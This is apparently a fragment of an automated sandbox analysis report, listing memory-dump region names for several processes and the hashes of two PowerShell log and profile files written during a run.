memory/764-150-0x0000000000000000-mapping.dmp

memory/3972-151-0x0000000000000000-mapping.dmp

memory/2564-152-0x0000000000000000-mapping.dmp

memory/768-153-0x0000000000000000-mapping.dmp

memory/3596-154-0x0000000000000000-mapping.dmp

memory/2784-155-0x0000000000000000-mapping.dmp

memory/2608-156-0x0000000000000000-mapping.dmp

memory/760-157-0x0000000000000000-mapping.dmp

memory/3328-158-0x0000000000000000-mapping.dmp

memory/1608-159-0x0000000000000000-mapping.dmp

memory/2744-160-0x0000000000000000-mapping.dmp

memory/3904-161-0x0000000000000000-mapping.dmp

memory/3856-162-0x0000000000000000-mapping.dmp

memory/388-163-0x0000000000000000-mapping.dmp

memory/1456-164-0x0000000000000000-mapping.dmp

memory/448-165-0x0000000000000000-mapping.dmp

memory/2256-166-0x0000000000000000-mapping.dmp

memory/1840-167-0x0000000000000000-mapping.dmp

memory/876-168-0x0000000000000000-mapping.dmp

memory/1060-169-0x0000000000000000-mapping.dmp

memory/3048-170-0x0000000000000000-mapping.dmp

memory/3356-171-0x0000000000000000-mapping.dmp

memory/3740-172-0x0000000000000000-mapping.dmp

memory/1744-173-0x0000000000000000-mapping.dmp

memory/3828-174-0x0000000000000000-mapping.dmp

memory/3788-175-0x0000000000000000-mapping.dmp

memory/3276-176-0x0000000000000000-mapping.dmp

memory/3976-177-0x0000000000000000-mapping.dmp

memory/3184-178-0x0000000000000000-mapping.dmp

memory/2528-180-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-179-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-181-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-182-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-183-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-184-0x0000018199A50000-0x0000018199A72000-memory.dmp

memory/2528-185-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-187-0x00000181999A0000-0x00000181999A2000-memory.dmp

memory/2528-186-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-188-0x00000181999A3000-0x00000181999A5000-memory.dmp

memory/2528-189-0x00000181B2940000-0x00000181B29B6000-memory.dmp

memory/2528-190-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-194-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-195-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/2528-215-0x00000181999A6000-0x00000181999A8000-memory.dmp

memory/2528-216-0x0000018197E90000-0x0000018197E92000-memory.dmp

memory/1796-218-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

memory/1796-219-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/1796-220-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/1796-221-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/1796-222-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/1796-223-0x000001F2BEA50000-0x000001F2BEA72000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 fa815351d9175d68b774016521c3270a
SHA1 2401b709edf026bc04040ccc1fde64dd9e6922cd
SHA256 f2d37c7688ebb3e941693b4fbb6f3a23dc8aa8f8bd19d905b8a83defa7043c11
SHA512 27f3996db25a7e2f94df92db63c08cc9b0c950f00046aa1947c389c6d9638095e4748acf632f8ac1d082c0ef5b03e4f45be468a9d1d6065870a2e7700d68857a

memory/1796-225-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/1796-226-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/1796-227-0x000001F2D7A40000-0x000001F2D7AB6000-memory.dmp

memory/1796-228-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/1796-232-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/2528-233-0x00000181999A8000-0x00000181999A9000-memory.dmp

memory/1796-235-0x000001F2D71A3000-0x000001F2D71A5000-memory.dmp

memory/1796-234-0x000001F2D71A0000-0x000001F2D71A2000-memory.dmp

memory/1796-236-0x000001F2D71A6000-0x000001F2D71A8000-memory.dmp

memory/1796-237-0x000001F2BD020000-0x000001F2BD022000-memory.dmp

memory/1796-258-0x000001F2D71A8000-0x000001F2D71A9000-memory.dmp